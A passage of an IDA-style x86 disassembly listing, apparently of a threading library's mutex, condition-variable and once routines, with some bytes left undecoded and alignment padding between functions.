; ---------------------------------------------------------------------------
loc_42EC80: ; CODE XREF: ___:004021E4j
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
jz short loc_42EC99
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_42EC99: ; CODE XREF: ___:0042EC90j
mov eax, [esi]
mov ecx, [esp+0Ch]
pop esi
mov [eax+8], ecx
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42ECC0: ; CODE XREF: ___:004019A1j
mov eax, [esp+4]
mov ecx, [eax]
mov eax, [esp+8]
mov edx, [ecx+18h]
mov [eax], edx
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42ECF0: ; CODE XREF: ___:0040199Cj
mov eax, [esp+8]
sub eax, 0
jz short loc_42ED12
dec eax
jz short loc_42ED02
mov eax, 16h
retn
; ---------------------------------------------------------------------------
loc_42ED02: ; CODE XREF: ___:0042ECFAj
mov eax, [esp+4]
mov ecx, [eax]
xor eax, eax
mov dword ptr [ecx+18h], 1
retn
; ---------------------------------------------------------------------------
loc_42ED12: ; CODE XREF: ___:0042ECF7j
mov eax, 30h
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42ED30: ; CODE XREF: ___:00401C08j
push ebx
mov ebx, [esp+8]
push esi
push edi
test ebx, ebx
jz loc_42EDCB
mov edi, [esp+18h]
test edi, edi
jz loc_42EDCB
push 18h
push 1
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
test esi, esi
jz short loc_42EDC2
mov eax, [esp+14h]
test eax, eax
jz short loc_42ED70
mov eax, [eax]
test eax, eax
jz short loc_42ED70
mov eax, [eax]
jmp short loc_42ED72
; ---------------------------------------------------------------------------
loc_42ED70: ; CODE XREF: ___:0042ED64j
; ___:0042ED6Aj
xor eax, eax
loc_42ED72: ; CODE XREF: ___:0042ED6Ej
mov [esi+4], edi
mov [esi], edi
lea edi, [esi+10h]
push 0
push eax
push edi
mov [esi+0Ch], eax
mov dword ptr [esi+8], 0
call sub_401C76
add esp, 0Ch
test eax, eax
jnz short loc_42EDB8
push eax
mov eax, [esi+0Ch]
lea ecx, [esi+14h]
push eax
push ecx
call sub_401C76
add esp, 0Ch
test eax, eax
jnz short loc_42EDAF
mov [ebx], esi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42EDAF: ; CODE XREF: ___:0042EDA7j
push edi
call sub_401686
add esp, 4
loc_42EDB8: ; CODE XREF: ___:0042ED92j
push esi
nop
call near ptr 77C2C21Bh
add esp, 4
loc_42EDC2: ; CODE XREF: ___:0042ED5Cj
pop edi
pop esi
mov eax, 0Ch
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42EDCB: ; CODE XREF: ___:0042ED39j
; ___:0042ED45j
pop edi
pop esi
mov eax, 16h
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42EE10: ; CODE XREF: ___:004021E9j
push ebx
push ebp
mov ebp, [esp+0Ch]
push esi
test ebp, ebp
push edi
jz short loc_42EE78
mov esi, [ebp+0]
test esi, esi
jz short loc_42EE78
lea ebx, [esi+10h]
mov dword ptr [ebp+0], 0
push ebx
call sub_401686
mov edi, eax
add esp, 4
test edi, edi
jnz short loc_42EE6E
lea eax, [esi+14h]
push eax
call sub_401686
mov edi, eax
add esp, 4
test edi, edi
jnz short loc_42EE5F
push esi
call near ptr 77C2C21Bh
nop
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42EE5F: ; CODE XREF: ___:0042EE4Cj
mov ecx, [esi+0Ch]
push 0
push ecx
push ebx
call sub_401C76
add esp, 0Ch
loc_42EE6E: ; CODE XREF: ___:0042EE3Aj
mov eax, edi
mov [ebp+0], esi
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42EE78: ; CODE XREF: ___:0042EE1Aj
; ___:0042EE21j
pop edi
pop esi
pop ebp
mov eax, 16h
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42EEB0: ; CODE XREF: ___:00401799j
mov eax, [esp+4]
push esi
test eax, eax
jz loc_42EF64
mov esi, [eax]
test esi, esi
jz loc_42EF64
push ebp
lea ebp, [esi+8]
push edi
push esi
mov edi, [ebp+0]
nop
call near ptr 27706C3h
test eax, eax
jnz short loc_42EEF7
mov eax, [esi+4]
cmp eax, 1
mov [esi], eax
jbe short loc_42EF44
dec eax
push eax
lea eax, [esi+edi*4+10h]
push eax
call sub_40204A
add esp, 8
mov esi, eax
jmp short loc_42EF40
; ---------------------------------------------------------------------------
loc_42EEF7: ; CODE XREF: ___:0042EED8j
push ebx
call sub_4012E4
; ---------------------------------------------------------------------------
mov ecx, [eax+34h]
mov ebx, 1
cmp ecx, ebx
jnz short loc_42EF1B
lea ecx, [esp+14h]
push ecx
push ebx
call sub_40140B
; ---------------------------------------------------------------------------
add esp, 8
test eax, eax
jz short loc_42EF1D
loc_42EF1B: ; CODE XREF: ___:0042EF07j
xor ebx, ebx
loc_42EF1D: ; CODE XREF: ___:0042EF19j
lea edx, [esi+edi*4+10h]
push edx
call sub_401041
add esp, 4
mov esi, eax
test ebx, ebx
pop ebx
jz short loc_42EF40
mov eax, [esp+10h]
push 0
push eax
call sub_40140B
; ---------------------------------------------------------------------------
add esp, 8
loc_42EF40: ; CODE XREF: ___:0042EEF5j
; ___:0042EF2Fj
test esi, esi
jnz short loc_42EF5E
loc_42EF44: ; CODE XREF: ___:0042EEE2j
mov ecx, 1
push edi
sub ecx, edi
push ecx
push ebp
call dword_50E3FC ; InterlockedCompareExchange
xor edx, edx
cmp edi, eax
setnz dl
dec edx
mov esi, edx
loc_42EF5E: ; CODE XREF: ___:0042EF42j
pop edi
mov eax, esi
pop ebp
pop esi
retn
; ---------------------------------------------------------------------------
loc_42EF64: ; CODE XREF: ___:0042EEB7j
; ___:0042EEC1j
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42EFA0: ; CODE XREF: ___:00401F50j
push esi
push 4
push 1
xor esi, esi
nop
call near ptr 77C2C0C3h
add esp, 8
test eax, eax
jnz short loc_42EFC3
mov edx, [esp+8]
mov ecx, 0Ch
pop esi
mov [edx], eax
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_42EFC3: ; CODE XREF: ___:0042EFB2j
mov ecx, [esp+8]
mov dword ptr [eax], 0
mov [ecx], eax
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42EFF0: ; CODE XREF: ___:00401A73j
mov ecx, [esp+4]
push esi
xor esi, esi
test ecx, ecx
jz short loc_42F011
mov eax, [ecx]
test eax, eax
jz short loc_42F011
push eax
mov [ecx], esi
nop
call near ptr 77C2C21Bh
add esp, 4
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F011: ; CODE XREF: ___:0042EFF9j
; ___:0042EFFFj
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F030: ; CODE XREF: ___:0040127Bj
mov eax, [esp+4]
test eax, eax
jz short loc_42F04D
mov eax, [eax]
test eax, eax
jz short loc_42F04D
mov ecx, [esp+8]
test ecx, ecx
jz short loc_42F04D
mov eax, [eax]
mov [ecx], eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_42F04D: ; CODE XREF: ___:0042F036j
; ___:0042F03Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F070: ; CODE XREF: ___:0040162Cj
mov eax, [esp+4]
test eax, eax
jz short loc_42F09A
mov ecx, [eax]
test ecx, ecx
jz short loc_42F09A
mov eax, [esp+8]
cmp eax, 1
jz short loc_42F08E
test eax, eax
jnz short loc_42F09A
mov [ecx], eax
retn
; ---------------------------------------------------------------------------
loc_42F08E: ; CODE XREF: ___:0042F085j
mov eax, 28h
mov dword ptr [ecx], 0
retn
; ---------------------------------------------------------------------------
loc_42F09A: ; CODE XREF: ___:0042F076j
; ___:0042F07Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42F0B0 proc near ; CODE XREF: sub_40140Bj
push esi
push edi
call sub_4012E4
sub_42F0B0 endp
; ---------------------------------------------------------------------------
db 8Bh
dd 74F685F0h, 247C8B7Bh, 74FF850Ch, 1FF8305h, 8D536E75h
dd 0E8532C5Eh, 0FFFD3151h, 1824448Bh, 8504C483h, 8B0574C0h
dd 889304Eh, 7E89FF85h, 8B3E7530h, 0C0853446h, 568B3775h
dd 90525738h, 34134FE8h, 75C08502h, 38468B28h, 30C46C7h
dd 50000000h, 13046C7h, 90000000h, 341406E8h, 0A4E85302h
dd 6AFFFD1Fh, 2CAEE802h, 0C483FFFDh, 94E85308h, 83FFFD1Fh
dd 0C03304C4h, 0C35E5F5Bh, 16B85Fh, 0C35E0000h, 0Ch dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
loc_42F170: ; CODE XREF: ___:0040223Ej
push ebx
push esi
call sub_4012E4
; ---------------------------------------------------------------------------
db 8Bh
dd 74F685F0h, 245C8B7Bh, 1FB830Ch, 0DB850474h, 8D576E75h
dd 0E8572C7Eh, 0FFFD3091h, 1824448Bh, 8504C483h, 8B0574C0h
dd 889344Eh, 8930468Bh, 0C085345Eh, 0DB853B75h, 568B3775h
dd 90525338h, 34128FE8h, 75C08502h, 38468B28h, 30C46C7h
dd 50000000h, 13046C7h, 90000000h, 341346E8h, 0E4E85702h
dd 6AFFFD1Eh, 2BEEE802h, 0C483FFFDh, 0D4E85708h, 83FFFD1Eh
dd 0C03304C4h, 0C35B5E5Fh, 16B85Eh, 0C35B0000h, 0Ch dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42F230 proc near ; CODE XREF: sub_401CEEj
push esi
push edi
call sub_4012E4
sub_42F230 endp
; ---------------------------------------------------------------------------
db 8Bh
dd 2C7E8DF0h, 2FE3E857h, 0C483FFFDh, 74F68504h, 307E8334h
dd 8B2E7401h, 6A3846h, 0F1E89050h, 85023411h, 571E75C0h
dd 30C46C7h, 0C7000000h, 13046h, 50E80000h, 6AFFFD1Eh
dd 2B5AE802h, 0C483FFFDh, 40E85708h, 83FFFD1Eh, 5E5F04C4h
dd 909090C3h, 90909090h, 8 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
loc_42F2B0: ; CODE XREF: ___:00401D25j
sub esp, 2D0h
push esi
mov esi, [esp+2D8h]
push 0
push esi
call sub_401758
add esp, 8
mov [esp+4], eax
test eax, eax
jnz loc_42F3E9
call sub_4012E4
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_42F2EB
mov eax, 0Ch
pop esi
add esp, 2D0h
retn
; ---------------------------------------------------------------------------
loc_42F2EB: ; CODE XREF: ___:0042F2DCj
push ebx
push ebp
push edi
push eax
push esi
call sub_401A50
lea ebx, [esi+2Ch]
mov edi, eax
push ebx
call sub_402225
mov eax, [esi+34h]
add esp, 0Ch
test eax, eax
mov ebp, 3
jnz loc_42F3C2
mov eax, [esi+30h]
test eax, eax
jnz loc_42F3C2
cmp [esi+0Ch], ebp
jge loc_42F3D5
test edi, edi
jz short loc_42F354
push ebx
mov [esi+0Ch], ebp
mov dword ptr [esi+30h], 1
call sub_4010C3
push 2
call sub_401DD4
; ---------------------------------------------------------------------------
mov eax, [esp+18h]
add esp, 8
pop edi
pop ebp
pop ebx
pop esi
add esp, 2D0h
retn
; ---------------------------------------------------------------------------
loc_42F354: ; CODE XREF: ___:0042F329j
mov edi, [esi+4]
push edi
nop
call near ptr 2760944h
push 0
push edi
nop
call near ptr 277044Ch
cmp eax, 102h
jnz short loc_42F3E2
lea eax, [esp+14h]
mov [esi+0Ch], ebp
push eax
push edi
mov dword ptr [esi+30h], 1
mov dword ptr [esp+1Ch], 10001h
nop
call near ptr 2760B3Eh
lea ecx, [esp+14h]
mov dword ptr [esp+0CCh], offset loc_42F460
push ecx
push edi
nop
call near ptr 2760CDEh
push ebx
call sub_4010C3
add esp, 4
push edi
call near ptr 2770000h
nop
mov eax, [esp+10h]
pop edi
pop ebp
pop ebx
pop esi
add esp, 2D0h
retn
; ---------------------------------------------------------------------------
loc_42F3C2: ; CODE XREF: ___:0042F30Dj
; ___:0042F318j
cmp [esi+0Ch], ebp
jge short loc_42F3D5
mov edx, [esi+38h]
push edx
nop
call near ptr 27702B4h
test eax, eax
jnz short loc_42F3D9
loc_42F3D5: ; CODE XREF: ___:0042F321j
; ___:0042F3C5j
mov [esp+10h], ebp
loc_42F3D9: ; CODE XREF: ___:0042F3D3j
push ebx
call sub_4010C3
add esp, 4
loc_42F3E2: ; CODE XREF: ___:0042F36Cj
mov eax, [esp+10h]
pop edi
pop ebp
pop ebx
loc_42F3E9: ; CODE XREF: ___:0042F2CFj
pop esi
add esp, 2D0h
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 60h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F460: ; DATA XREF: ___:0042F390o
push 2
call sub_401DD4
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42F480 proc near ; CODE XREF: sub_401122j
mov eax, dword_50E3EC
push esi
push eax
call sub_401190
sub_42F480 endp
; ---------------------------------------------------------------------------
mov esi, eax
add esp, 4
test esi, esi
jz short loc_42F4BE
mov eax, [esp+8]
test eax, eax
jz short loc_42F4AC
mov eax, [esi]
test eax, eax
jz short loc_42F4AC
mov ecx, [esi+4]
push ecx
call eax
add esp, 4
loc_42F4AC: ; CODE XREF: ___:0042F49Bj
; ___:0042F4A1j
mov edx, [esi+8]
mov eax, dword_50E3EC
push edx
push eax
call sub_4020DB
; ---------------------------------------------------------------------------
add esp, 8
loc_42F4BE: ; CODE XREF: ___:0042F493j
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42F4F0 proc near ; CODE XREF: sub_401659j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
mov ecx, [esp+arg_8]
push esi
mov esi, [esp+4+arg_0]
mov [esi], eax
mov [esi+4], ecx
mov edx, dword_50E3EC
push edx
call sub_401190
sub_42F4F0 endp
; ---------------------------------------------------------------------------
mov [esi+8], eax
mov eax, dword_50E3EC
push esi
push eax
call sub_4020DB
; ---------------------------------------------------------------------------
add esp, 0Ch
pop esi
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42F540 proc near ; CODE XREF: sub_401B4Fj
arg_0 = dword ptr 4
push esi
push offset dword_50E940
xor esi, esi
nop
call near ptr 7C901005h
mov ecx, [esp+4+arg_0]
mov eax, [ecx]
cmp eax, 0FFFFFFFFh
jnz short loc_42F574
push esi
push ecx
call sub_401541
add esp, 8
mov esi, eax
push offset dword_50E940
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F574: ; CODE XREF: sub_42F540+17j
test eax, eax
jnz short loc_42F57D
mov esi, 16h
loc_42F57D: ; CODE XREF: sub_42F540+36j
push offset dword_50E940
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
sub_42F540 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F5B0: ; CODE XREF: ___:004020FEj
push esi
push 4
push 1
xor esi, esi
call near ptr 77C2C0C3h
nop
add esp, 8
test eax, eax
jnz short loc_42F5D3
mov edx, [esp+8]
mov ecx, 0Ch
pop esi
mov [edx], eax
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_42F5D3: ; CODE XREF: ___:0042F5C2j
mov ecx, [esp+8]
mov [ecx], eax
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F5F0: ; CODE XREF: ___:004021D0j
push esi
mov esi, [esp+8]
test esi, esi
jz short loc_42F613
mov eax, [esi]
test eax, eax
jz short loc_42F613
push eax
nop
call near ptr 77C2C21Bh
add esp, 4
mov dword ptr [esi], 0
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F613: ; CODE XREF: ___:0042F5F7j
; ___:0042F5FDj
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F630: ; CODE XREF: ___:00401005j
mov eax, [esp+4]
test eax, eax
jz short loc_42F64D
mov eax, [eax]
test eax, eax
jz short loc_42F64D
mov ecx, [esp+8]
test ecx, ecx
jz short loc_42F64D
mov eax, [eax]
mov [ecx], eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_42F64D: ; CODE XREF: ___:0042F636j
; ___:0042F63Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F670: ; CODE XREF: ___:004012ADj
mov eax, [esp+4]
test eax, eax
jz short loc_42F69A
mov ecx, [eax]
test ecx, ecx
jz short loc_42F69A
mov eax, [esp+8]
cmp eax, 1
jz short loc_42F68E
test eax, eax
jnz short loc_42F69A
mov [ecx], eax
retn
; ---------------------------------------------------------------------------
loc_42F68E: ; CODE XREF: ___:0042F685j
mov eax, 28h
mov dword ptr [ecx], 0
retn
; ---------------------------------------------------------------------------
loc_42F69A: ; CODE XREF: ___:0042F676j
; ___:0042F67Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42F6B0 proc near ; CODE XREF: sub_401541j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
push edi
xor edi, edi
xor esi, esi
cmp eax, edi
jnz short loc_42F6C6
pop edi
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F6C6: ; CODE XREF: sub_42F6B0+Cj
mov eax, [esp+8+arg_4]
push ebx
cmp eax, edi
push ebp
jz short loc_42F6ED
mov eax, [eax]
cmp eax, edi
jz short loc_42F6ED
cmp dword ptr [eax], 1
jnz short loc_42F6ED
mov edx, [esp+10h+arg_0]
mov edi, 28h
pop ebp
mov eax, edi
pop ebx
mov [edx], esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F6ED: ; CODE XREF: sub_42F6B0+1Ej
; sub_42F6B0+24j ...
push 20h
push 1
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
cmp esi, edi
jnz short loc_42F712
mov edx, [esp+10h+arg_0]
mov edi, 0Ch
pop ebp
mov eax, edi
pop ebx
mov [edx], esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F712: ; CODE XREF: sub_42F6B0+4Ej
lea ebp, [esi+10h]
push 1
push edi
push ebp
mov [esi], edi
mov [esi+8], edi
mov [esi+4], edi
call sub_401C76
add esp, 0Ch
test eax, eax
jz short loc_42F737
nop
call near ptr 77C1F2BCh
mov edi, [eax]
jmp short loc_42F77B
; ---------------------------------------------------------------------------
loc_42F737: ; CODE XREF: sub_42F6B0+7Bj
lea ebx, [esi+0Ch]
push 0
push 0
push ebx
call sub_401C76
add esp, 0Ch
test eax, eax
jz short loc_42F755
nop
call near ptr 77C1F2BCh
mov edi, [eax]
jmp short loc_42F772
; ---------------------------------------------------------------------------
loc_42F755: ; CODE XREF: sub_42F6B0+99j
lea eax, [esi+14h]
push 0
push eax
call sub_402199
mov edi, eax
add esp, 8
test edi, edi
jz short loc_42F7DF
push ebx
call sub_401686
add esp, 4
loc_42F772: ; CODE XREF: sub_42F6B0+A3j
push ebp
call sub_401686
add esp, 4
loc_42F77B: ; CODE XREF: sub_42F6B0+85j
push esi
nop
call near ptr 77C2C21Bh
add esp, 4
xor esi, esi
test edi, edi
jnz short loc_42F7D2
loc_42F78B: ; CODE XREF: sub_42F6B0+131j
push offset dword_50E9C0
nop
call near ptr 7C901005h
mov dword ptr [esi+18h], 0
mov ecx, dword_50E3F4
mov [esi+1Ch], ecx
mov eax, dword_50E3F4
test eax, eax
jz short loc_42F7B2
mov [eax+18h], esi
loc_42F7B2: ; CODE XREF: sub_42F6B0+FDj
mov eax, dword_50E3F0
mov dword_50E3F4, esi
test eax, eax
jnz short loc_42F7C7
mov dword_50E3F0, esi
loc_42F7C7: ; CODE XREF: sub_42F6B0+10Fj
push offset dword_50E9C0
nop
call near ptr 7C9010EDh
loc_42F7D2: ; CODE XREF: sub_42F6B0+D9j
mov edx, [esp+10h+arg_0]
pop ebp
mov eax, edi
pop ebx
mov [edx], esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F7DF: ; CODE XREF: sub_42F6B0+B7j
xor edi, edi
jmp short loc_42F78B
sub_42F6B0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42F840 proc near ; CODE XREF: sub_401A91j
var_4 = dword ptr -4
arg_0 = dword ptr 4
push ecx
push ebx
push ebp
push esi
push edi
mov edi, [esp+14h+arg_0]
xor esi, esi
xor ebp, ebp
xor ebx, ebx
test edi, edi
mov [esp+14h+var_4], ebp
jz loc_42F9EC
mov eax, [edi]
test eax, eax
jz loc_42F9EC
cmp eax, 0FFFFFFFFh
jz loc_42F9A3
push offset dword_50E9C0
nop
call near ptr 7C901005h
mov esi, [edi]
lea ebx, [esi+10h]
push ebx
call sub_401041
add esp, 4
test eax, eax
jz short loc_42F899
call near ptr 77C1F2BCh
nop
mov eax, [eax]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42F899: ; CODE XREF: sub_42F840+49j
lea ebp, [esi+14h]
push ebp
call sub_40177B
add esp, 4
mov [esp+14h+arg_0], eax
test eax, eax
jz short loc_42F8C0
push ebx
call sub_40103C
mov eax, [esp+18h+arg_0]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42F8C0: ; CODE XREF: sub_42F840+6Bj
mov eax, [esi]
mov ecx, [esi+4]
cmp eax, ecx
jle short loc_42F8F9
push ebx
call sub_40103C
add esp, 4
test eax, eax
jz short loc_42F8E2
nop
call near ptr 77C1F2BCh
mov ecx, [eax]
mov [esp+14h+arg_0], ecx
loc_42F8E2: ; CODE XREF: sub_42F840+94j
push ebp
call sub_4010C3
add esp, 4
mov [esp+14h+var_4], eax
mov ebx, 10h
jmp loc_42F98E
; ---------------------------------------------------------------------------
loc_42F8F9: ; CODE XREF: sub_42F840+87j
push ebx
mov dword ptr [edi], 0
call sub_401686
mov edi, dword_50FA64
add esp, 4
test eax, eax
jz short loc_42F91A
call edi ; _errno
mov edx, [eax]
mov [esp+14h+arg_0], edx
loc_42F91A: ; CODE XREF: sub_42F840+D0j
lea eax, [esi+0Ch]
push eax
call sub_401686
add esp, 4
test eax, eax
jz short loc_42F932
call edi ; _errno
mov ecx, [eax]
mov [esp+14h+var_4], ecx
loc_42F932: ; CODE XREF: sub_42F840+E8j
push ebp
call sub_4010C3
mov ebx, eax
add esp, 4
test ebx, ebx
jnz short loc_42F94C
push ebp
call sub_40222F
add esp, 4
mov ebx, eax
loc_42F94C: ; CODE XREF: sub_42F840+FFj
cmp dword_50E3F0, esi
jnz short loc_42F95F
mov edx, [esi+18h]
mov dword_50E3F0, edx
jmp short loc_42F968
; ---------------------------------------------------------------------------
loc_42F95F: ; CODE XREF: sub_42F840+112j
mov eax, [esi+1Ch]
mov ecx, [esi+18h]
mov [eax+18h], ecx
loc_42F968: ; CODE XREF: sub_42F840+11Dj
cmp dword_50E3F4, esi
jnz short loc_42F97B
mov edx, [esi+1Ch]
mov dword_50E3F4, edx
jmp short loc_42F984
; ---------------------------------------------------------------------------
loc_42F97B: ; CODE XREF: sub_42F840+12Ej
mov eax, [esi+18h]
mov ecx, [esi+1Ch]
mov [eax+1Ch], ecx
loc_42F984: ; CODE XREF: sub_42F840+139j
push esi
nop
call near ptr 77C2C21Bh
add esp, 4
loc_42F98E: ; CODE XREF: sub_42F840+B4j
push offset dword_50E9C0
nop
call near ptr 7C9010EDh
mov esi, [esp+14h+arg_0]
mov ebp, [esp+14h+var_4]
jmp short loc_42F9D2
; ---------------------------------------------------------------------------
loc_42F9A3: ; CODE XREF: sub_42F840+28j
push offset dword_50E940
call near ptr 7C901005h
nop
cmp dword ptr [edi], 0FFFFFFFFh
jnz short loc_42F9BB
mov dword ptr [edi], 0
jmp short loc_42F9C7
; ---------------------------------------------------------------------------
loc_42F9BB: ; CODE XREF: sub_42F840+171j
mov [esp+14h+arg_0], 10h
mov esi, [esp+14h+arg_0]
loc_42F9C7: ; CODE XREF: sub_42F840+179j
push offset dword_50E940
call near ptr 7C9010EDh
nop
loc_42F9D2: ; CODE XREF: sub_42F840+161j
test esi, esi
jz short loc_42F9DE
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42F9DE: ; CODE XREF: sub_42F840+194j
test ebp, ebp
mov eax, ebp
jnz short loc_42F9F1
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42F9EC: ; CODE XREF: sub_42F840+15j
; sub_42F840+1Fj
mov eax, 16h
loc_42F9F1: ; CODE XREF: sub_42F840+1A2j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
sub_42F840 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42FA70 proc near ; CODE XREF: sub_401203j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push 0
push eax
push ecx
call sub_42FAA0
add esp, 0Ch
retn
sub_42FA70 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42FAA0 proc near ; CODE XREF: sub_42FA70+Cp
; sub_42FD70+19p
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 20h
push esi
mov esi, [esp+24h+arg_0]
test esi, esi
push edi
mov [esp+28h+var_20], 0
jz loc_42FBA9
mov eax, [esi]
test eax, eax
jz loc_42FBA9
cmp eax, 0FFFFFFFFh
jnz short loc_42FAE2
push esi
call sub_401B4F
add esp, 4
mov [esp+28h+var_20], eax
test eax, eax
jz short loc_42FAE2
cmp eax, 10h
jnz loc_42FBAE
loc_42FAE2: ; CODE XREF: sub_42FAA0+26j
; sub_42FAA0+37j
mov esi, [esi]
lea edi, [esi+10h]
push edi
call sub_401041
add esp, 4
test eax, eax
jz short loc_42FB02
nop
call near ptr 77C1F2BCh
mov eax, [eax]
pop edi
pop esi
add esp, 20h
retn
; ---------------------------------------------------------------------------
loc_42FB02: ; CODE XREF: sub_42FAA0+52j
mov ecx, [esi]
push edi
inc ecx
mov [esi], ecx
call sub_40103C
add esp, 4
test eax, eax
jz short loc_42FB22
nop
call near ptr 77C1F2BCh
mov eax, [eax]
pop edi
pop esi
add esp, 20h
retn
; ---------------------------------------------------------------------------
loc_42FB22: ; CODE XREF: sub_42FAA0+72j
mov edi, [esp+28h+arg_4]
lea ecx, [esp+28h+var_10]
push ecx
lea edx, [esp+2Ch+var_1C]
lea eax, [esp+2Ch+var_20]
push offset loc_42FC10
push edx
mov [esp+34h+var_10], edi
mov [esp+34h+var_C], esi
mov [esp+34h+var_8], eax
mov [esp+34h+var_4], 0
call sub_401659
; ---------------------------------------------------------------------------
dw 0E857h
dd 0FFFD156Bh, 8910C483h, 85082444h, 8B2775C0h, 83342444h
dd 56500CC6h, 0FD1D27E8h, 8C483FFh, 0E74C085h, 0F73EE890h
dd 8B777Eh, 8244489h, 448B04EBh, 0C9330824h, 0C085016Ah
dd 89C1940Fh, 0E828244Ch, 0FFFD1586h, 0C24448Bh, 5F04C483h
dd 20C4835Eh
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
loc_42FBA9: ; CODE XREF: sub_42FAA0+13j
; sub_42FAA0+1Dj
mov eax, 16h
loc_42FBAE: ; CODE XREF: sub_42FAA0+3Cj
pop edi
pop esi
add esp, 20h
retn
sub_42FAA0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FC10: ; DATA XREF: sub_42FAA0+93o
push ecx
push ebx
push ebp
mov ebp, [esp+10h]
push esi
push edi
mov esi, [ebp+4]
mov ebx, [ebp+8]
